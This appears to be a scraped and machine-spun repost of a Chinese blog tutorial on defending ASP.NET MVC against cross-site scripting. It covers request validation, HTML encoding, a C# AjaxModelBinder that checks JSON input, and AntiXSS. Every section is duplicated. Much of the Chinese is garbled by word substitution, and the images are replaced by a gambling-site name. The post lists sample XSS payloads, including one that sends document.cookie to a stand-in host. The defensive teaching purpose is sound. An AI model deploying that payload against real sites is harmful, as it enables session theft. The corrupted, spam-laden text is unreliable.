澳门蒲京网址Web安全相关(一):跨站脚论攻击(XSS)Web安全有关(一):跨站下论攻击(XSS)

恶意攻击者可以在个人介绍里面插入恶意代码,恶意攻击者可以在个人介绍里面插入恶意代码

简介
  跨站下论攻击(Cross
Site Scripting),为未跟层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将超站脚论攻击缩写为XSS。恶意攻击者往Web页面里安插恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会叫实施,从而达到恶意抨击用户之异目的,比如取用户的Cookie,导航及黑心网站,携带木马等。

简介
  跨站脚论攻击(Cross
Site Scripting),为未与层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将跨站下论攻击缩写为XSS。恶意攻击者往Web页面里安插恶意Script代码,当用户浏览该页之常,嵌入其中Web里面的Script代码会被执行,从而达到恶意抨击用户之特别目的,比如取用户的Cookie,导航及黑心网站,携带木马等。

局部面貌

局部面貌

  1.
黑心攻击者可当个体介绍其中插入恶意代码,那么其他用户访问他的个人信息时,就会执行恶意代码。
  2.
恶心攻击者可上一篇稿子,取一个吸引眼球的标题,在内容里安插恶意代码,那么用户查看这首文章时,就见面实施恶意代码。
  3.
黑心攻击者在有红文章或帖子里之回复或留言中插恶意代码,那么用户浏览到外的过来或留言时,就会见执行恶意代码。

  1.
恶心攻击者可于个人介绍其中插入恶意代码,那么其他用户访问他的个人信息时,就会见执行恶意代码。
  2.
恶心攻击者可上一首文章,取一个引发眼球的题,在内容里插恶意代码,那么用户查看这篇稿子时,就会执行恶意代码。
  3.
恶心攻击者在部分吃香文章要帖子里之回升或留言中插恶意代码,那么用户浏览到外的死灰复燃或留言时,就会执行恶意代码。

预防XSS的一定量只级次

提防XSS的少独号

  1.
付出数据常常,就对数码进行求证,如果含有恶意脚本,则不为数进库,ASP.NET
MVC默认是会举行这证。如下图,如果准备插入恶意脚本,就见面收获一个HttpRequestValidationException。注:图2红色框中之主意后续会涉及。

  1.
付出数据时,就本着数据开展验证,如果带有恶意脚本,则免给多少进库,ASP.NET
MVC默认是碰头开此证明。如下图,如果准备插入恶意脚本,就见面赢得一个HttpRequestValidationException。注:图2红色框中之方式后续会提到。

    
澳门蒲京网址 1

    
澳门蒲京网址 2

                  图1

                  图1

    
澳门蒲京网址 3

    
澳门蒲京网址 4

                  图2

                  图2

  如果我们得允许下论入库,可以以相应的Action上长[ValidateInput(false)]。此时恶意脚论还免克闹威胁,因为还有后面一个阶段的防止措施。

  如果我们要允许下论入库,可以当相应的Action上添加[ValidateInput(false)]。此时恶意脚论还不可知发出威慑,因为还有后面一个品级的戒备措施。

     
澳门蒲京网址 5

     
澳门蒲京网址 6

                  图3

                  图3

     
澳门蒲京网址 7

     
澳门蒲京网址 8

                   
图4

                   
图4

 2.
出口数据经常,对出口的情以HTML编码,恶意脚论不会见为实践。而且,MVC的Razor语法默认就使用HTML编码。但是如果我们运用Html.Raw()来输出内容之语句,恶意脚本就会发生威慑。

 2.
出口数据时,对输出的情以HTML编码,恶意脚论无会见为实施。而且,MVC的Razor语法默认就使HTML编码。但是倘若我们采用Html.Raw()来输出内容的语句,恶意脚本就会见出威慑。

     
澳门蒲京网址 9

     
澳门蒲京网址 10

                 图5

                 图5

    
澳门蒲京网址 11

    
澳门蒲京网址 12

                 图6

                 图6

 一些恶意脚本

 一些黑心脚本

  1.
简约的弹窗或者内容展示。
  <script>alert(‘你为地下了!’)</script>
 
  2.
导航及黑心网站。注:这里只是利用百度网站作为导航演示,并无是说百度网站是黑心网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

  1.
简的弹窗或者内容显示。
  <script>alert(‘你吃非法了!’)</script>
 
  2.
导航及黑心网站。注:这里只是用百度网站作为导航演示,并无是说百度网站是恶意网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

 $.ajax数据印证失效?

 $.ajax数据说明失效?

  我们要我们的求是休容许含有恶意脚本的多寡进库的,但是咱利用了jquey的ajax进行相互。

  我们若我们的要求是未同意含有恶意脚本的数码进库的,但是我们下了jquey的ajax进行交互。

     
澳门蒲京网址 13

     
澳门蒲京网址 14

                图7

                图7

     
澳门蒲京网址 15

     
澳门蒲京网址 16

                图8

                图8

     
澳门蒲京网址 17

     
澳门蒲京网址 18

                图9

                图9

     
澳门蒲京网址 19

     
澳门蒲京网址 20

              图10

              图10

  数据还是进库,为什么也?我们来钻下图2吉框中之点子。

  数据还是进库,为什么吧?我们来研讨下图2开门红框中的章程。

     
澳门蒲京网址 21

     
澳门蒲京网址 22

                图11

                图11

     
澳门蒲京网址 23

     
澳门蒲京网址 24

                图12

                图12

  从图12遭到,我猜测MVC会对Request中的如上内容展开说明,可是jquery
ajax的数是有Request的Content里面的,因此,默认的说明对jquery
ajax并从未效果。

  从图12吃,我猜测MVC会对Request中之上述内容展开验证,可是jquery
ajax的数量是是Request的Content里面的,因此,默认的验证对jquery
ajax并没效力。

 $.ajax数据说明实现

 $.ajax数据证明实现

  要指向$.ajax进行数量印证,我打ModelBinder下手。具体代码如下:

  要对$.ajax进行数据证明,我自从ModelBinder下手。具体代码如下:

 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }
 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }

  然后在Global.asax.cs中注册AjaxModelBinder。

  然后在Global.asax.cs中注册AjaxModelBinder。

澳门蒲京网址 25

澳门蒲京网址 26

              图13

              图13

  那么,输入数据来恶意脚本时虽见面吃检测出。

  那么,输入数据产生恶心脚本时即会给检测出。

 澳门蒲京网址 27

 澳门蒲京网址 28

                图14

                图14

  关于AjaxModelBinder中的IsDangerousString方法,我是从.Net的源码拷贝过来的。

  关于AjaxModelBinder中之IsDangerousString方法,我是从.Net的源码拷贝过来的。

 澳门蒲京网址 29

 澳门蒲京网址 30

                  图15

                  图15

AntiXSS第三方组件

AntiXSS第三着组件

  如果使用.Net4.0和以上的版本,那么即便非需引入AntiXSS,因为.Net
4.0曾拿AntiXSS集成进来了。如果是其余版本则用引入。

  如果使用.Net4.0以及以上之版,那么即便未待引入AntiXSS,因为.Net
4.0业已拿AntiXSS集成进来了。如果是其它版本则要引入。

源码下载

  为了方便使用,我尚未行使其他数据库,而是用了一个文本来囤积数据。代码下载后可直接运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  澳门蒲京网址 31

 

章转载自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

源码下载

  为了方便使用,我莫应用任何数据库,而是用了一个文本来存储数据。代码下载后得以直接运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  澳门蒲京网址 32

 

文章转载自:http://www.cnblogs.com/Erik_Xu/p/5403773.html